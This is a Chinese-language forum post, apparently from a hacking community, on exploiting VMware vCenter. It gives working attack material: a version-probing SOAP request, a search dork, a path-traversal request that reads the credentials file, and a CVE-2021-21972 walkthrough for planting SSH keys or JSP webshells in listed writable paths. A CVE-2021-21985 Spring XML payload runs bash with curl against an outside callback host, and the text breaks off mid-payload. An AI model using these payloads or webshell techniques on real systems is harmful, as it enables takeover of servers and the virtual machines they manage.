標題:vCenter 漏洞利用

taibeihacker

Moderator

vCenter 漏洞利用​

1 vSphere 背景介绍​

vSphere,ESXi 和vCenter 辨析:
VMware Inc
**VMware Inc ** 是一家軟件公司。它開發了許多產品,尤其是各種雲解決方案。它的雲解決方案包括雲產品,數據中心產品和桌面產品等。
vSphere
vSphere是在數據中心產品下的一套軟件。 vSphere 類似微軟的Office 辦公套件,Office 辦公套件包含了許多軟件如Word,Excel,Access 等。和Office 一樣,vSphere 也是一個軟件的集合。它包括了vCenter Server, ESXi 和vSphere client,是整套虛擬化部署方案的總和。
ESXi
ESXi是vSphere 中最重要的一個組件。 ESXi 是虛擬化服務。所有的虛擬機都是運行在ESXi 服務上面。
vSphere Client
vSphere (web) client是一個管理平台,它能夠直接管理多個不同的ESXi 主機,包含許多進階功能:集群故障轉移等。而ESXi 自帶的管理平台只能管理自身所處的ESXi 主機。而vSphere client 有更加詳細的性能監控,批量更新接管所有ESXi 系統版本。通過資源池也可以規劃虛擬機資源佔用。
vCenter Server
在ESXi 6.0 之前是通過C/S 架構來管理ESXi 集群的,沒有web 端,且安裝環境較為苛刻,必須為Server 版本的服務器才可以安裝。在6.0 版本之後,官方已經取消了C/S 架構的客戶端,轉而採用了web 管理平台,又被稱之為vSphere web client。而部署了vSphere web client 的服務器被稱之為vCenter Server
官方推薦將打包好的Client 與Server 應用部署在VMware 自家的Photon 系統下,其安裝包命名為:VMware vCenter Server Appliance,簡稱為:VCSA
202205101547624.png-water_print

2 常见漏洞​

2.1 版本信息探测​

通過調用VMWare Sphere 組件的SOAP API,可以獲取其版本信息,XML 數據如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
?xml version='1.0' encoding='UTF-8'?
soap:Envelope
xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
xmlns:xsd='http://www.w3.org/2001/XMLSchema'
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
soap:Header
operationID00000001-00000001/operationID
/soap:Header
soap:Body
RetrieveServiceContent
xmlns='urn:internalvim25'
_this xsi:type='ManagedObjectReference' type='ServiceInstance'ServiceInstance/_this
/RetrieveServiceContent
/soap:Body
/soap:Envelope
202205061715861.png-water_print

Nuclei 相關模板:
/nuclei-templates/technologies/vmware/vmware-detect.yaml
202205061717231.png-water_print

2.2 任意文件读取​

影響版本:Vmware vCenter Server=6.5.0
Fofa Dork:title='ID_VC_Welcome'
VMware vCenter 存在任意文件讀取漏洞,可讀取vCenter 配置文件獲得管理帳號密碼進而控制vCenter 平台及其管理的虛擬機集群。
由於EAM 用戶運行該存在漏洞的服務(非域用戶),因此不存在NTLM Relay 等中繼攻擊風險。
由於不同的系統版本,數據庫配置文件(vcdb.properties)存放位置不同,根據官方文檔,大體可以分為:
對於vCenter Server 5.5 及更低版本:
Windows 2008 - C:\ProgramData\VMware\VMware VirtualCenter
其他Windows 版本- C:\Documents and Settings\All Users\Application Data\VMware\VMware VirtualCenter\
對於vCenter Server 6.0、6.5、6.7:
C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx
POC:
1
2
GET /eam/vib?id={{path}}\vcdb.properties HTTP/1.1
Host: {{Hostname}}
nuclei 中對應的poc:
/nuclei-templates/vulnerabilities/vmware/vmware-vcenter-lfi.yaml
/nuclei-templates/vulnerabilities/vmware/vmware-vcenter-lfi-linux.yaml

2.3 CVE-2021-21972​

2.3.1 漏洞利用​

默認啟用的vROps 插件(com.vmware.vropspluginui.mvc)ServicesController 類的uploadova 接口存在未授權訪問,可利用路徑穿越將文件解壓至特定目錄實現getshell。
影響版本:
7.0=vCenter Server 7.0 U1c
6.7=vCenter Server 6.7 U3l
6.5 1e=vCenter Server 6.5 U3n
4.x=Cloud Foundation (vCenter Server) 4.2
3.x=Cloud Foundation (vCenter Server) 3.10.1.2
POC:
/nuclei-templates/cves/2021/CVE-2021-21972.yaml
EXP:

2.3.2 漏洞分析​

定位到存在漏洞的Jar 包:/etc/vmware/vsphere-ui/vc-packages/vsphere-client-serenity/com.vmware.vrops.install-6.x.x.xx000/plugins/vropsplugin-service.jar
202205061949834.png-water_print

注意到第463 行,直接將TAR 的文件名與/tmp/unicorn_ova_dir 拼接並寫入文件。如果文件名內存在./,可將文件解壓至vsphere-ui 用戶有權限的目錄。切入該用戶並查找可寫目錄:
1
2
su vsphere-ui
find/-writable -type d | grep -v 'Permission denied'
其中.ssh 目錄可寫,因此,最為常見的思路就是寫入公鑰,並利用該用戶登錄。但是該方式存在一定的局限,首先看一下shadow 文件:
202205061953700.png-water_print

看到密碼過期時間為90 天,因此在安裝90 天后即使寫入了公鑰登錄也會提示密碼過期,需要提供原密碼並修改密碼。此外,vsphere-ui 用戶的第二項為!這表示該用戶未設置密碼(與空密碼不同),所以也就沒法修改密碼,因此,當密鑰過期後,就無法再次登錄。
另一種思路就是寫入Webshell。首先需要遍歷找出存在有jsp 的web.xml 並且目錄可寫:
1
grep 'servlet-namejsp/servlet-name' $(find/-name '*web.xml')
最終確定瞭如下幾個linux 下的存放位置:
1
2
3
4
5
6
7
8
# vCenter 6.5/6.7 13010631
/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/%d/0/h5ngc.war/resources/thefile
# vCenter 6.7=13010631
/usr/lib/vmware-vsphere-ui/server/static/resources/libs/thefile
# vCenter 7.0,其中resources15863815 動態生成,可以通過訪問/ui 可以獲取該目錄信息
/usr/lib/vmware-vsphere-ui/server/static/resources15863815/libs/thefile
由/usr/lib/vmware-vsphere-ui/server/configuration/tomcat-server.xml 查到監聽端口為5090,再由rhttpproxy 反向代理找到web 訪問路徑:
202205062006466.png-water_print

最後將webshell 釋放至/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/xx/0/h5ngc.war/resources/目錄或其子目錄,即可解析並由https://ip/ui/resources/webshell.jsp 訪問
該路徑中的xx 並非是固定數值,會隨著重裝重啟等行為發生改變,所以構造上傳包時可以暴力批量添加,並探測是否上傳成功。
此外,6.7U2 及之後的版本,會在服務啟動時判斷如果存在work 目錄就刪除,也就是說Web 是跑在內存裡面的。這時對於6.7U2 及更新的6.7 版本可以將webshell 釋放至/usr/lib/vmware-vsphere-ui/server/static/resources/libs/目錄作為後門,待其重啟後會被加載運行。對於7.0 版本static 後面的resources 會跟一串動態數字路徑,能夠在請求的返回包中獲取到。
針對Windows 版本,可以在目標服務器上寫入JSP webshell 文件,由於服務是System 權限,所以可以任意文件寫。常用的目錄為:C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\,訪問https://ip/statsreport/xxx.jsp 即可。
其它常見路徑可以參考:vCenter2021幾個漏洞及後滲透

2.4 CVE-2021-21985​

2.4.1 漏洞利用​

默認啟用的Virtual SAN Health Check 插件(vsan-h5-client.zip)/rest/* 接口存在未授權訪問,可利用不安全的反射調用實現RCE。
影響版本:
7.0=vCenter Server 7.0 U2b
6.7=vCenter Server 6.7 U3n
6.5=vCenter Server 6.5 U3p
4.x=Cloud Foundation (vCenter Server) 4.2.1
3.x=Cloud Foundation (vCenter Server) 3.10.2.1
POC:
/nuclei-templates/cves/2021/CVE-2021-21985.yaml
EXP:

2.4.2 漏洞分析​

出网利用​

首先定位到vsan-h5-client 插件存放位置:find/-name '*vsan*' | grep 'h5',最終確定在/usr/lib/vmware-vpx/vsan-health/ui-plugins/vsan-h5-client.zip 目錄下。
下載,解壓並反編譯其中的jar 包,由於漏洞情報中描述為未授權訪問,首先在h5-vsan-context.jar 的web.xml 中尋找相關線索,在已經修復的版本中,已經添加了相應的filter:
202205071631304.png-water_print

在h5-vsan-service.jar 中找到com.vmware.vsan.client.services.AuthenticationFilter,如果未認證,則直接返回401。
202205071634089.png-water_print

另一處變動在h5-vsan-service.jar 中ProxygenController 類的invokeService 方法:
202205071637502.png-water_print

添加了校驗,檢測反射調用的方法是否為帶有TsService 註解,啟用了白名單機制。因此基本可以確定漏洞點位於該類中。
TsService 註解源碼:
202205071639053.png-water_print

向上尋找到定義@RequestMapping 路由的Controller,可以看到在請求路徑中獲取Bean 名稱或者類名和方法名稱,接著從POST 數據中獲取methodInput 列表作為方法參數,接著進入invokeService 方法:
202205071640805.png-water_print

202205071645742.png-water_print

invokeServer 先獲取了Bean 實例,接著獲取該實例的方法列表,比對方法名和方法參數長度後,將用戶傳入的參數進行了一個簡單的反序列化後利用進行了調用。
所以接下來就是在Spring 工廠創建的bean 裡查找危險方法構建利用鏈了,在vsan-h5-client/plugins/h5-vsan-service/META-INF/spring/base/*.xml 配置文件中找到bean 的定義,所有scope 都是缺省的singleton 而且沒有配置lazy-init,也就是說這些bean 都會在spring 項目啟動時單例加載。
漏洞作者所使用的Bean 是vmodlContext,對應jar 為/etc/vmware/vsphere-ui/vc-packages/vsphere-client-serenity/com.vmware.vrops.install-6.x.x.xx000/plugins/vropsplugin-service.jar,類是com.vmware.vim.vmomi.core.types.impl.VmodContextImpl,其中的loadVmodlPackage 方法代碼如下:
202205071709994.png-water_print

其中會通過NonValidatingClassPathXmlApplicationContext 加載contextPath,而該類繼承自:ClassPathXmlApplicationContext:
202205071711954.png-water_print

因此可以構造遠程加載解析xml 中的SpEL 表達式進而執行命令。
需要注意的是,在SpringContextLoader 的getContextFileNameForPackage 會將路徑中的. 替換為/,所以無法指定一個正常的IPv4 地址,但是可以利用數字型IP 繞過:
202205071838732.png-water_print

XML 文件內容及攻擊效果如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
?xml version='1.0' encoding='UTF-8'?
beans xmlns='http://www.springframework.org/schema/beans'
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:context='http://www.springframework.org/schema/context'
xsi:schemaLocation='http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd'
bean id='pb' class='java.lang.ProcessBuilder'
constructor-arg
list
value/bin/bash/value
value-c/value
valuecurl http://dj0esgxds3fv9m4a0a6dzorr0i69uy.oastify.com/value
/list
/constructor-arg
propert
 
返回
上方